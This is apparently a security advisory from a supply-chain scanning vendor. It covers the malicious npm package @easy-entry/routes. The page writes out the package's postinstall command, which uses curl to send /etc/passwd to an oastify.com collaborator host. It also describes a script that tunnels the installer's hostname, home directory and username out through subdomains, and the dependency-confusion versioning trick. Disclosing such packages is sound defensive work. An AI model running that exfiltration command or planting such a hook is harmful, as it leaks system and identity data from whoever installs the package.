@easy-entry/routesnpm
Malicious code in @easy-entry/routes (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On npm install, the package's postinstall hook in package.json runs curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com, POSTing the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain prefixed with the installer's hostname. The same hook executes scripts/scream3gg.js, which hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues an HTTP fetch to http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com, tunneling installer identity out via subdomain. The package has no legitimate functionality — it ships only the exfil payload. The scoped name @easy-entry/routes combined with an absurd 99.9.5 version is a textbook dependency-confusion shape designed to win resolution against an internal-only package of the same name.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection